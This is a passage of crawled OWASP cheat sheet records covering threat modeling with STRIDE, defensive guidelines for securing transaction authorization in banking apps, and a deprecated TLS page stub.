dynamic nature of brainstorming, the team can quickly identify key business processes and their interrelations.\n\nIntegrating the results of brainstorming with formal modeling techniques can lead to a better understanding of the domain and more effective system design.\n\n### Cloud Threat Modeling¶\n\nMost modern systems are cloud-native or hybrid. Traditional threat modeling techniques (like STRIDE or DFDs) often need adaptation for cloud architectures, which introduce:\n\n- Shared responsibility models\n- Managed services and APIs\n- Multi-tenant and identity federation considerations\n- Dynamic infrastructure (IaC, serverless, containers)\n\nCloud-native systems introduce unique considerations for threat modeling due to their distributed, service-oriented nature and shared responsibility model. In this context, the threat modeling process should account for:\n\n- **Cloud architecture components:** virtual networks, IAM roles, managed services, and storage buckets.\n- **Shared responsibility:** understanding which security controls are managed by the provider vs. the customer.\n- **Dynamic environments:** container orchestration, serverless functions, and ephemeral infrastructure.\n- **Compliance and data residency:** ensuring that workloads meet jurisdictional and privacy requirements.\n\nCloud threat modeling frameworks such as AWS’s [Well-Architected Framework – Security Pillar](https://docs.aws.amazon.com/wellarchitected/latest/security-pillar/welcome.html) can serve as references.\n\n### Threat Identification¶\n\nAfter the system has been modeled, it is now time to address the question of \"what can go wrong?\". This question must be explored with the inputs from the first step in mind; that is, it should focus on identifying and ranking threats within the context of the specific system being evaluated. In attempting to answer this question, threat modelers have a wealth of data sources and techniques at their disposal. For illustration purposes, this cheatsheet will leverage STRIDE; however, in practice, other approaches may be used alongside or instead of STRIDE.\n\nSTRIDE is a mature and popular threat modeling technique and mnemonic originally developed by Microsoft employees. To facilitate threat identification, STRIDE groups threats into one of six general prompts and engineers are encouraged to systematically consider how these general threats may materialize within the context of the specific system being evaluated. Each STRIDE threat may be considered a violation of a desirable security attribute; the categories and associated desirable attributes are as follows:\n\n| Threat Category | Violates | Examples |\n| --- | --- | --- |\n| **S**poofing | Authentication | An attacker steals the authentication token of a legitimate user and uses it to impersonate the user. |\n| **T**ampering | Integrity | An attacker abuses the application to perform unintended updates to a database. |\n| **R**epudiation | Accounting | An attacker manipulates logs to cover their actions. |\n| **I**nformation Disclosure | Confidentiality | An attacker extracts data from a database containing user account info. |\n| **D**enial of Service | Availability | An attacker locks a legitimate user out of their account by performing many failed authentication attempts. |\n| **E**levation of Privileges | Authorization | An attacker tampers with a JWT to change their role. |\n\nSTRIDE provides valuable structure for responding to the question of \"what can go wrong\". It is also a highly flexible approach and getting started need not be complex. Simple techniques such as brainstorming and whiteboarding or even [games](https://github.com/adamshostack/eop/) may be used initially. STRIDE is also incorporated into popular threat modeling tools such as [OWASP's Threat Dragon](https://github.com/OWASP/threat-dragon) and [Microsoft's Threat Modeling Tool](https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool). Additionally, as a relatively high-level process, STRIDE pairs well with more tactical approaches such as kill chains or [MITRE's ATT&CK](https://attack.mitre.org/) (please refer to [this article](https://web.isc2ncrchapter.org/under-attck-how-mitres-methodology-to-find-threats-and-embed-counter-measures-might-work-in-your-organization/) for an overview of how STRIDE and ATT&CK can work together).\n\nAfter possible threats have been identified, people will frequently rank them. In theory, ranking should be based on the mathematical product of an identified threat's likelihood and its impact. A threat that is likely to occur and result in serious damage would be prioritized much higher than one that is unlikely to occur and would only have a moderate impact. However, these both can be challenging to calculate, and they ignore the work to fix a problem. Some advocate for including that in a single prioritization.\n\n### Response and Mitigations¶\n\nEquipped with an understanding of both the system and applicable threats, it is now time to answer \"what are we going to do about it\"?. Each threat identified earlier must have a response. Threat responses are similar, but not identical, to risk responses. [Adam Shostack](https://shostack.org/resources/threat-modeling) lists the following responses:\n\n- **Mitigate:** Take action to reduce the likelihood that the threat will materialize.\n- **Eliminate:** Simply remove the feature or component that is causing the threat.\n- **Transfer:** Shift responsibility to another entity such as the customer.\n- **Accept:** Do not mitigate, eliminate, or transfer the risk because none of the above options are acceptable given business requirements or constraints.\n\nIf one decides to mitigate a threat, mitigation strategies must be formulated and documented as requirements. Depending on the complexity of the system, nature of threats identified, and the process used for identifying threats (STRIDE or another method), mitigation responses may be applied at either the category or individual threat level. In the former case, the mitigation would apply to all threats within that category. Mitigation strategies must be actionable not hypothetical; they must be something that can actually be built into to the system being developed. Although mitigation strategies must be tailored to the particular application, resources such as as [OWASP's ASVS](https://owasp.org/www-project-application-security-verification-standard/) and [MITRE's CWE list](https://cwe.mitre.org/index.html) can prove valuable when formulating these responses.\n\n### Review and Validation¶\n\nFinally, it is time to answer the question \"did we do a good enough job\"? The threat model must be reviewed by all stakeholders, not just the development or security teams. Areas to focus on include:\n\n- Does the DFD (or comparable) accurately reflect the system?\n- Have all threats been identified?\n- For each identified threat, has a response strategy been agreed upon?\n- For identified threats for which mitigation is the desired response, have mitigation strategies been developed which reduce risk to an acceptable level?\n- Has the threat model been formally documented? Are artifacts from the threat model process stored in such a way that it can be accessed by those with \"need to know\"?\n- Can the agreed upon mitigations be tested? Can success or failure of the requirements and recommendations from the threat model be measured?\n\n## Threat Modeling and the Development Team¶\n\n### Challenges¶\n\nThreat modeling can be challenging for development teams for several key reasons. Firstly, many developers lack sufficient knowledge and experience in the field of security, which hinders their ability to effectively use methodologies and frameworks, identify, and model threats. Without proper training and understanding of basic security principles, developers may overlook potential threats or incorrectly assess their risks.\n\nAdditionally, the threat modeling process can be complex and time-consuming. It requires a systematic approach and in-depth analysis, which is often difficult to reconcile with tight schedules and the pressure to deliver new functionalities. Development teams may feel a lack of tools and resources to support them in this task, leading to frustration and discouragement.\n\nAnother challenge is the communication and collaboration between different departments within the organization. Without effective communication between development teams, security teams, and other stakeholders, threat modeling can be incomplete or misdirected.\n\n### Addressing the Challenges¶\n\nIn many cases, the solution lies in inviting members of the security teams to threat modeling sessions, which can significantly improve the process. Security specialists bring essential knowledge about potential threats that is crucial for effective identification, risk analysis, and mitigation. Their experience and understanding of the latest trends and techniques used by cybercriminals can provide key insights for learning and developing the competencies of development teams. Such joint sessions not only enhance developers' knowledge but also build a culture of collaboration and mutual support within the organization, leading to a more comprehensive approach to security.\n\nTo change the current situation, organizations should invest in regular IT security training for their development teams. These training sessions should be conducted by experts and tailored to the specific needs of the team. Additionally, it is beneficial to implement processes and tools that simplify and automate threat modeling. These tools can help in identifying and assessing threats, making the process more accessible and less time-consuming.\n\nIt is also important to promote a culture of security throughout the organization, where threat modeling is seen as an integral part of the Software Development Life Cycle (SDLC), rather than an additional burden. Regular review sessions and cross-team workshops can improve collaboration and communication, leading to a more effective and comprehensive approach to security. Through these actions, organizations can make threat modeling a less burdensome and more efficient process, bringing real benefits to the security of their systems.\n\n## References¶\n\n### Methods and Techniques¶\n\nAn alphabetical list of techniques:\n\n- [LINDDUN](https://linddun.org/)\n- [PASTA](https://cdn2.hubspot.net/hubfs/4598121/Content%20PDFs/VerSprite-PASTA-Threat-Modeling-Process-for-Attack-Simulation-Threat-Analysis.pdf)\n- [STRIDE](https://learn.microsoft.com/en-us/previous-versions/commerce-server/ee823878(v=cs.20)?redirectedfrom=MSDN)\n- [OCTAVE](https://insights.sei.cmu.edu/library/introduction-to-the-octave-approach/)\n- [VAST](https://go.threatmodeler.com/vast-methodology-data-sheet)\n\n### Tools¶\n\n- [Cairis](https://github.com/cairis-platform/cairis)\n- [draw.io](https://draw.io) - see also [threat modeling libraries](https://github.com/michenriksen/drawio-threatmodeling) for the tool\n- [IriusRisk](https://www.iriusrisk.com/) - offers a free Community Edition\n- [Microsoft Threat Modeling Tool](https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool)\n- [OWASP's Threat Dragon](https://github.com/OWASP/threat-dragon)\n- [OWASP's pytm](https://owasp.org/www-project-pytm/)\n- [TaaC-AI](https://github.com/yevh/TaaC-AI) - AI-driven Threat modeling-as-a-Code (TaaC)\n- Threat Composer - [Demo](https://awslabs.github.io/threat-composer) , [Repository](https://github.com/awslabs/threat-composer/)\n\n### General Reference¶\n\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling) - resource list\n- [Tactical Threat Modeling](https://safecode.org/wp-content/uploads/2017/05/SAFECode_TM_Whitepaper.pdf)\n- [Threat Modeling: A Summary of Available Methods](https://insights.sei.cmu.edu/library/threat-modeling-a-summary-of-available-methods/)\n- Threat modeling for builders, free online training available on [AWS SkillBuilder](https://explore.skillbuilder.aws/learn/course/external/view/elearning/13274/threat-modeling-for-builders-workshop) , and [AWS Workshop Studio](https://catalog.workshops.aws/threatmodel/en-US)\n- [Threat Modeling Handbook](https://security.cms.gov/policy-guidance/threat-modeling-handbook)\n- [Threat Modeling Process](https://owasp.org/www-community/Threat_Modeling_Process)\n- [The Ultimate Beginner's Guide to Threat Modeling](https://shostack.org/resources/threat-modeling)", "znaku_textu": 19152, "slov": 2585, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:23", "sha256": "5a59c7ad2a15d9b1476bd488789546d96b571b363ba176be4ba8a46443d21503", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-threat-modeling/", "https://www.threatmodelingmanifesto.org/", "https://github.com/adamshostack/DFD3", "https://github.com/OWASP/threat-dragon", "https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool", "https://draw.io/", "https://owasp.org/www-project-pytm/", "https://docs.aws.amazon.com/wellarchitected/latest/security-pillar/welcome.html", "https://github.com/adamshostack/eop/", "https://attack.mitre.org/", "https://web.isc2ncrchapter.org/under-attck-how-mitres-methodology-to-find-threats-and-embed-counter-measures-might-work-in-your-organization/", "https://shostack.org/resources/threat-modeling", "https://owasp.org/www-project-application-security-verification-standard/", "https://cwe.mitre.org/index.html", "https://linddun.org/", "https://cdn2.hubspot.net/hubfs/4598121/Content%20PDFs/VerSprite-PASTA-Threat-Modeling-Process-for-Attack-Simulation-Threat-Analysis.pdf", "https://learn.microsoft.com/en-us/previous-versions/commerce-server/ee823878(v=cs.20)?redirectedfrom=MSDN", "https://insights.sei.cmu.edu/library/introduction-to-the-octave-approach/", "https://go.threatmodeler.com/vast-methodology-data-sheet", "https://github.com/cairis-platform/cairis", "https://github.com/michenriksen/drawio-threatmodeling", "https://www.iriusrisk.com/", "https://github.com/yevh/TaaC-AI", "https://awslabs.github.io/threat-composer", "https://github.com/awslabs/threat-composer/", "https://github.com/hysnsec/awesome-threat-modelling", "https://safecode.org/wp-content/uploads/2017/05/SAFECode_TM_Whitepaper.pdf", "https://insights.sei.cmu.edu/library/threat-modeling-a-summary-of-available-methods/", "https://explore.skillbuilder.aws/learn/course/external/view/elearning/13274/threat-modeling-for-builders-workshop", "https://catalog.workshops.aws/threatmodel/en-US", "https://security.cms.gov/policy-guidance/threat-modeling-handbook", "https://owasp.org/www-community/Threat_Modeling_Process", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Transaction_Authorization_Cheat_Sheet.html", "titulek": "Transaction Authorization - OWASP Cheat Sheet Series", "h1": "Transaction Authorization Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Transaction_Authorization_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Transaction Authorization Cheat Sheet¶"}, {"uroven": 2, "text": "Purpose and audience¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "1. Functional Guidelines¶"}, {"uroven": 3, "text": "1.1 Transaction authorization method has to allow a user to identify and acknowledge significant transaction data¶"}, {"uroven": 3, "text": "1.2 Change of authorization token should be authorized using the current authorization token¶"}, {"uroven": 3, "text": "1.3 Change of authorization method should be authorized using the current authorization method¶"}, {"uroven": 3, "text": "1.4 Users should be able to easily distinguish the authentication process from the transaction authorization process¶"}, {"uroven": 3, "text": "1.5 Each transaction should be authorized using unique authorization credentials¶"}, {"uroven": 2, "text": "2. Non-functional guidelines¶"}, {"uroven": 3, "text": "2.1 Authorization should be performed and enforced server-side¶"}, {"uroven": 3, "text": "2.2 Authorization method should be enforced server-side¶"}, {"uroven": 3, "text": "2.3 Transaction verification data should be generated server-side¶"}, {"uroven": 3, "text": "2.4 Application should prevent authorization credentials brute-forcing¶"}, {"uroven": 3, "text": "2.5 Application should control which transaction state transitions are allowed¶"}, {"uroven": 3, "text": "2.6 Transaction data should be protected against modification¶"}, {"uroven": 3, "text": "2.7 Confidentiality of transaction data should be protected during all client-server communications¶"}, {"uroven": 3, "text": "2.8 System should check each transaction execution and make sure it has been properly authorized¶"}, {"uroven": 3, "text": "2.9 Authorization credentials should only be valid during a limited time period¶"}, {"uroven": 3, "text": "2.10 Authorization credentials should be unique for every operation¶"}, {"uroven": 2, "text": "Remarks¶"}, {"uroven": 2, "text": "References and future reading¶"}], "markdown": "# Transaction Authorization Cheat Sheet¶\n\n## Purpose and audience¶\n\nThis cheat sheet discusses how developers can secure transaction authorizations and prevent them from being bypassed. These guidelines are for:\n\n- **Banks** - who must create functional and non-functional requirements for transaction authorization.\n- **Developers** – who need to eliminate vulnerabilities in transaction authorizations.\n- **Pentesters** – who must determine if transaction authorizations are secure.\n\n## Introduction¶\n\nGenerally, mobile and online applications will require users to submit a second factor so the system can check whether they are authorized to perform a sensitive operation (such as wire transfer authorization). In this document, we say that these actions are *transaction authorizations*.\n\nTransaction authorizations are often used in financial systems, but the need for secure transactions has driven the adoption of authorizations across the internet. For example, an email that allows users to unlock a user account by providing them with a secret code or a link that has a token contains a transaction authorization. A transaction authorization can be implemented with methods such as:\n\n- A card that has a transaction authorization number\n- A time-based one-time password (OTP) token, such as an [OATH TOTP (Time-based One-Time Password)](https://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm)\n- A OTP sent by SMS or provided by phone\n- A digital signature provided by a smart card or a smartphone\n- A challenge-response token, including unconnected card readers or solutions which scan transaction data from the user's computer screen\n\nSome of these forms of transaction authorizations can be implemented with a physical device or in a mobile application.\n\n## 1. Functional Guidelines¶\n\n### 1.1 Transaction authorization method has to allow a user to identify and acknowledge significant transaction data¶\n\nSince developers cannot assume that a user's computer is secure, an external authorization component would be have to check data for a typical transaction.\n\nWhen the developer builds components for transaction authorizations, they should use the *What You See Is What You Sign* principle. An authorization method must permit a user to identify and acknowledge the data that is significant to a given transaction. For example, in the case of a wire transfer, the user should be able to identify the target account and amount.\n\nAs developers determine what transaction data is significant, their decisions should be based on:\n\n- The real risk\n- The technical capabilities and constraints of the chosen authorization method\n- The users having a positive experience\n\nFor example, if an SMS message confirms significant transaction data, the developer could respond by returning the target account, amount and type of transfer to the user. However, it is inconvenient for an unconnected [CAP reader](https://en.wikipedia.org/wiki/Chip_Authentication_Program) to require users to enter that data. In such cases, the developer should probably return the minimum amount of significant transaction data (e.g. partial target account number and amount) for confirmation.\n\nIn general, the user must verify all significant transaction data as a part of the transaction authorization process. If a transaction process requires a user to enter transaction data into an external device, the user should be prompted to confirm a specific value in the transaction (e.g. a target account number). The absence of a meaningful prompt could be easily abused by social engineering techniques and malware as described below in Section 1.4. Also, for more detailed discussion of input overloading problems, see [here](http://www.cl.cam.ac.uk/~sjm217/papers/fc09optimised.pdf).\n\n### 1.2 Change of authorization token should be authorized using the current authorization token¶\n\nIf a user can use the application interface to change the authorization token, they should be able to authorize the operation with their current authorization credentials (as is the case with [password change procedure](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities.html)). For example: when a user changes a phone number for SMS codes, an authorization SMS code should be sent to the current phone number.\n\n### 1.3 Change of authorization method should be authorized using the current authorization method¶\n\nSome applications allow a user to chose how their transactions will be authorized. In such cases, the developer should make sure that the application can confirm the user's method of authorization to prevent any malware from changing the user's authorization method to the most vulnerable method. Additionally, the application should inform the user about any potential dangers associated with their authorization method.\n\n### 1.4 Users should be able to easily distinguish the authentication process from the transaction authorization process¶\n\nSince developers need to prevent users from authorizing fraudulent operations, their applications should not require a user to perform the same actions for authentication and transaction authorization. Consider the following example:\n\n1. An application is using the same method for user authentication and for transaction authorization {i.e. with an OTP token).\n2. Malware could use a man-in-the-middle attack to present a user with a false error message when they submit credentials to the application, which could trick the user into repeating the authentication procedure. The first credential will be used by the malware for authentication and the second credential would be used to authorize a fraudulent transaction. Even challenge-response schemes could be abused using this scenario, since malware can present a challenge taken from a fraudulent transaction and trick the user to provide a response. Such an attack scenario is used widely in [malware attacks against electronic banking](https://securityintelligence.com/back-basics-malware-authors-downgrade-tactics-stay-radar/#.VX_qI_krLDc) .\n\nTo stop such attacks, developers can make sure that authentication actions are different than transaction authorizations by:\n\n- Using different methods to authenticate and to authorize\n- Employing different actions in an external security component (i.e using a different mode of operation in a CAP reader)\n- Presenting the user with a clear message about what they are \"signing\" (What You See Is What You Sign Principle)\n\nSocial engineering methods [can be used despite authentication and operation authorization methods](https://securityintelligence.com/tatanga-attack-exposes-chiptan-weaknesses/#.VZAy9PkrLDc) but the application shouldn't make it easier for such attack scenarios.\n\n### 1.5 Each transaction should be authorized using unique authorization credentials¶\n\nIf applications only ask for transaction authorization credentials once (such as a static password, code sent through SMS, or a token response), the user could authorize any transaction during the entire session or reuse the same credentials when they need to authorize a transaction. In this scenario, attackers can employ malware to sniff credentials and use them to authorize any transaction without the user's knowledge.\n\n## 2. Non-functional guidelines¶\n\n### 2.1 Authorization should be performed and enforced server-side¶\n\nLike [all other security controls](https://cwe.mitre.org/data/definitions/602.html), transaction authorizations should be enforced on the server side. It should **never** be possible to influence an authorization's result by altering the data that flows from a client to a server by:\n\n- Tampering with parameters that contain transaction data\n- Adding/removing parameters which will disable authorization check\n- Causing an error\n\nTo ensure that data is only managed on the server side, security programming best practices should be applied, such as:\n\n- [Default deny](https://wiki.owasp.org/index.php/Positive_security_model)\n- Avoiding debugging functionality in production code\n\nOther safeguards should be considered to prevent tampering, such as encrypting the data for confidentiality and integrity, then decrypting and verifying the data on the server side.\n\n### 2.2 Authorization method should be enforced server-side¶\n\nIf multiple transaction authorization methods are made available to the user, the server side must make sure that the transaction occurs with the user's chosen authorization method or the authorization method enforced by application policies. Otherwise, malware could downgrade an authorization method to even the least secure authorization method. Developers must make it impossible for attackers to change a chosen authorization method by manipulating the parameters provided from the client.\n\nDevelopers should be especially careful if they are asked to add a new authorization method that enhances security. Unfortunately, developers often decide to build a new authorization method on top of an old codebase. This case is insecure and an attacker could manipulate a client to successfully authorize a transaction by sending parameters using the old method, despite the fact that the application has already switched to a new method.\n\n### 2.3 Transaction verification data should be generated server-side¶\n\nIf developers decide to transmit significant transaction data programmatically to an authorization component, they should take extra care to prevent any client modifications to the transaction data at authorization. **All significant transaction data must be verified by the user, generated and stored on a server, then passed to an authorization component without any possibility of tampering by the client.**\n\nAnd when developers collect significant transaction data on the client side and pass it on to the server, malware could manipulate the data and show faked transaction data in an authorization component.\n\n### 2.4 Application should prevent authorization credentials brute-forcing¶\n\n**Developers must make sure that their application can't allow attackers to brute-force a transaction at the point where transaction authorization credentials are submitted to the server for verification. After a set number of failed authorization attempts, the entire transaction authorization process should be restarted.** Also, there are other methods to prevent brute-forcing and stop other automation-related techniques, see [OWASP Authentication Cheat Sheet](Authentication_Cheat_Sheet.html#prevent-brute-force-attacks).\n\n### 2.5 Application should control which transaction state transitions are allowed¶\n\nTransaction authorization is usually performed in multiple steps, e.g.:\n\n1. The user enters the transaction data.\n2. The user requests authorization from the application.\n3. The application initializes an authorization mechanism.\n4. The user verifies/confirms the transaction data.\n5. The user responds with the authorization credentials.\n6. The application validates authorization and executes a transaction.\n\n**The developers must ensure that the business logic flow for a transaction authorization occurs in sequential order so users (or attackers) cannot perform the steps out of order or even skip any of the steps.** This should protect against attack techniques such as:\n\n- Overwriting transaction data before user will enter the authorization credentials\n- Skipping transaction authorization\n\nSee [OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/) requirement **15.1**).\n\n### 2.6 Transaction data should be protected against modification¶\n\nDevelopers must not allow attackers to modify transaction data when the user enters the data for the first time. Poor implementations may allow malware to:\n\n1. Replay the first step in Section 2.5 (sending transaction data) in the background before the user enters authorization credentials and then overwrite transaction details with a fraudulent transaction.\n2. Create and add new transaction data parameters to a HTTP request that is authorizing the transaction. In such a case, a transaction authorization process that is poorly implemented might authorize the initial transaction and then execute a fraudulent transaction (specific example of [Time of Check to Time of Use vulnerability](https://cwe.mitre.org/data/definitions/367.html) ).\n\nThere are multiple methods that can prevent transaction data from being modified during authorization:\n\n1. If transaction data is modified, the code could invalidate any previously entered authorization data (e.g. Generated OTP) and the challenge.\n2. Modifications to transaction data could trigger a reset of the authorization process.\n3. Any attempt to modify transaction data after user entry is an attack on the system and it should be logged, monitored, and carefully investigated.\n\n### 2.7 Confidentiality of transaction data should be protected during all client-server communications¶\n\nThe transaction authorization process should protect the privacy of transaction data that the user will be authorizing (i.e. at Section 2.5, steps 2 and 4).\n\n### 2.8 System should check each transaction execution and make sure it has been properly authorized¶\n\nThe final result of the transaction entry and authorization process (as described in Section 2.5) is also called the *transaction execution*. There should be a final control gate before transaction execution which verifies whether the transaction was properly authorized by the user. This control should be tied to execution and prevent attacks such as:\n\n- Time of Check to Time of Use (TOCTOU) – example in Section 2.6\n- Skipping authorization check in the transaction entry process (see. Section 2.5)\n\n### 2.9 Authorization credentials should only be valid during a limited time period¶\n\nIn some attacks, a user's authorization credentials are passed by malware to a command-and-control server and then are used from an attacker-controlled machine. Often, this process is often performed manually by an attacker. To make sure that these are attacks are difficult, the server should only allow transaction authorization to occur in a limited time window which should occur between the generation of a challenge (or OTP) and the completion of an authorization. Additionally, such safeguards will also help stop resource exhaustion attacks. This time period should be carefully selected so it will not disrupt normal user behavior.\n\n### 2.10 Authorization credentials should be unique for every operation¶\n\nTo prevent multiple replay attacks, each set of authorization credentials should be unique for every operation. These credentials can be generated with different methods depending on the mechanism. For example: developers can use a timestamp, a sequence number, or a random value in signed transaction data or as a part of a challenge.\n\n## Remarks¶\n\nHere are some other issues that should be considered while implementing transaction authorizations, but are beyond the scope of this cheat sheet:\n\n- Which transactions should be authorized? All transactions or only some of them? Each application is different and an application owner should decide if all transactions should be authorized or only some of them. The developers should consider risk analysis, risk exposition of given application, and other safeguards implemented in an application.\n- **We recommend the use of cryptographic operations to protect transactions and to ensure integrity, confidentiality and non-repudiation.**\n- **It is critically important to provision & protect the device signing keys during device \"pairing\" is as is the actual signing protocol itself. Malware may attempt to inject/replace or steal the signing keys.**\n- User awareness: For example in transaction authorization methods, when a user types in significant transaction data to an authorization component (e.g. an external dedicated device or a mobile application), users should be trained to rewrite transaction data from a trusted source and not from a computer screen.\n- **There are some anti-malware solutions that protect against such threats but these solutions [cannot be 100% effective](http://www.securing.pl/en/script-based-malware-detection-in-online-banking-security-overview/index.html) and should be used only as an additional layer of protection.**\n- Protecting your signing keys with a second factor such as passwords, biometrics, etc. or leveraging secure elements (TEE, TPM, Smart card).\n\n## References and future reading¶\n\nReferences and future reading:\n\n- Wojciech Dworakowski: [E-banking transaction authorization - possible vulnerabilities, security verification and best practices for implementation. Presentation from AppSec EU 2015](http://www.slideshare.net/wojdwo/ebanking-transaction-authorization-appsec-eu-2015-amsterdam) .\n- Saar Drimer, Steven J. Murdoch, and Ross Anderson: [Optimised to Fail - Card Readers for Online Banking](http://www.cl.cam.ac.uk/~sjm217/papers/fc09optimised.pdf) .\n- Jakub Kałużny, Mateusz Olejarka: [Script-based Malware Detection in Online Banking Security Overview](http://www.securing.pl/en/script-based-malware-detection-in-online-banking-security-overview/index.html) .\n- [List of websites and whether or not they support 2FA](https://twofactorauth.org/) .\n- Laerte Peotta, Marcelo D. Holtz, Bernardo M. David, Flavio G. Deus, Rafael Timóteo de Sousa Jr: [A Formal Classification Of Internet Banking Attacks and Vulnerabilities](http://airccse.org/journal/jcsit/0211ijcsit13.pdf) .\n- Marco Morana, Tony Ucedavelez: [Threat Modeling of Banking Malware-Based Attacks](https://owasp.org/www-pdf-archive/Marco_Morana_and_Tony_UV_-_Threat_Modeling_of_Banking_Malware.pdf) .\n- OWASP [Anti-Malware - Knowledge Base](https://wiki.owasp.org/index.php/OWASP_Anti-Malware_-_Knowledge_Base) .\n- OWASP [Anti-Malware Project - Awareness Program](https://wiki.owasp.org/index.php/OWASP_Anti-Malware_Project_-_Awareness_Program) .\n- Arjan Blom , Gerhard de Koning Gans , Erik Poll , Joeri de Ruiter , and Roel Verdult: [Designed to Fail - A USB-Connected Reader for Online Banking](http://www.cs.ru.nl/~rverdult/Designed_to_Fail_A_USB-Connected_Reader_for_Online_Banking-NORDSEC_2012.pdf)", "znaku_textu": 18081, "slov": 2515, "odkazu": 171, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:13", "sha256": "5a0d34e299bdcd3ef1b6ff1162de860b9bf7560d2b000fae4c559ea6b719ae6c", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm", "https://en.wikipedia.org/wiki/Chip_Authentication_Program", "http://www.cl.cam.ac.uk/~sjm217/papers/fc09optimised.pdf", "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities.html", "https://securityintelligence.com/back-basics-malware-authors-downgrade-tactics-stay-radar/", "https://securityintelligence.com/tatanga-attack-exposes-chiptan-weaknesses/", "https://cwe.mitre.org/data/definitions/602.html", "https://wiki.owasp.org/index.php/Positive_security_model", "https://owasp.org/www-project-application-security-verification-standard/", "https://cwe.mitre.org/data/definitions/367.html", "http://www.securing.pl/en/script-based-malware-detection-in-online-banking-security-overview/index.html", "http://www.slideshare.net/wojdwo/ebanking-transaction-authorization-appsec-eu-2015-amsterdam", "https://twofactorauth.org/", "http://airccse.org/journal/jcsit/0211ijcsit13.pdf", "https://owasp.org/www-pdf-archive/Marco_Morana_and_Tony_UV_-_Threat_Modeling_of_Banking_Malware.pdf", "https://wiki.owasp.org/index.php/OWASP_Anti-Malware_-_Knowledge_Base", "https://wiki.owasp.org/index.php/OWASP_Anti-Malware_Project_-_Awareness_Program", "http://www.cs.ru.nl/~rverdult/Designed_to_Fail_A_USB-Connected_Reader_for_Online_Banking-NORDSEC_2012.pdf", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "titulek": "Transport Layer Protection - OWASP Cheat Sheet Series", "h1": "DEPRECATED: Transport Layer Protection Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "DEPRECATED: Transport Layer Protection Cheat Sheet¶"}], "markdown": "# DEPRECATED: Transport Layer Protection Cheat Sheet¶\n\nThe Transport Layer Protection Cheat Sheet has been deprecated.\n\nPlease visit the [Transport Layer Security Cheat Sheet](Transport_Layer_Security_Cheat_Sheet.html) instead.", "znaku_textu": 223, "slov": 24, "odkazu": 131, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:14", "sha256": "a9f91464105795670f3fff74a8b16572acaf4bc9c541060a107038cb053b82aa", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html", "titulek": "Transport Layer Security - OWASP Cheat Sheet Series", "h1": "Transport Layer Security Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Transport Layer Security Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 3, "text": "SSL vs TLS¶"}, {"uroven": 2, "text": "Server Configuration¶"}, {"uroven": 3, "text": "Only Support Strong Protocols¶"}, {"uroven": 3, "text": "Only Support Strong Ciphers¶"}, {"uroven": 3, "text": "Set the appropriate Diffie-Hellman groups¶"}, {"uroven": 3, "text": "Disable Compression¶"}, {"uroven": 3, "text": "Patch Cryptographic Libraries¶"}, {"uroven": 3, "text": "Test the Server Configuration¶"}, {"uroven": 2, "text": "Certificates¶"}, {"uroven": 3, "text": "Use Strong Keys and Protect Them¶"}, {"uroven": 3, "text": "Use Strong Cryptographic Hashing Algorithms¶"}, {"uroven": 3, "text": "Use Correct Domain Names¶"}, {"uroven": 3, "text": "Carefully Consider the use of Wildcard Certificates¶"}, {"uroven": 3, "text": "Use an Appropriate Certification Authority for the Application's User Base¶"}, {"uroven": 3, "text": "Use CAA Records to Restrict Which CAs can Issue Certificates¶"}, {"uroven": 3, "text": "Consider the Certificate’s Validation Type¶"}, {"uroven": 2, "text": "Application¶"}, {"uroven": 3, 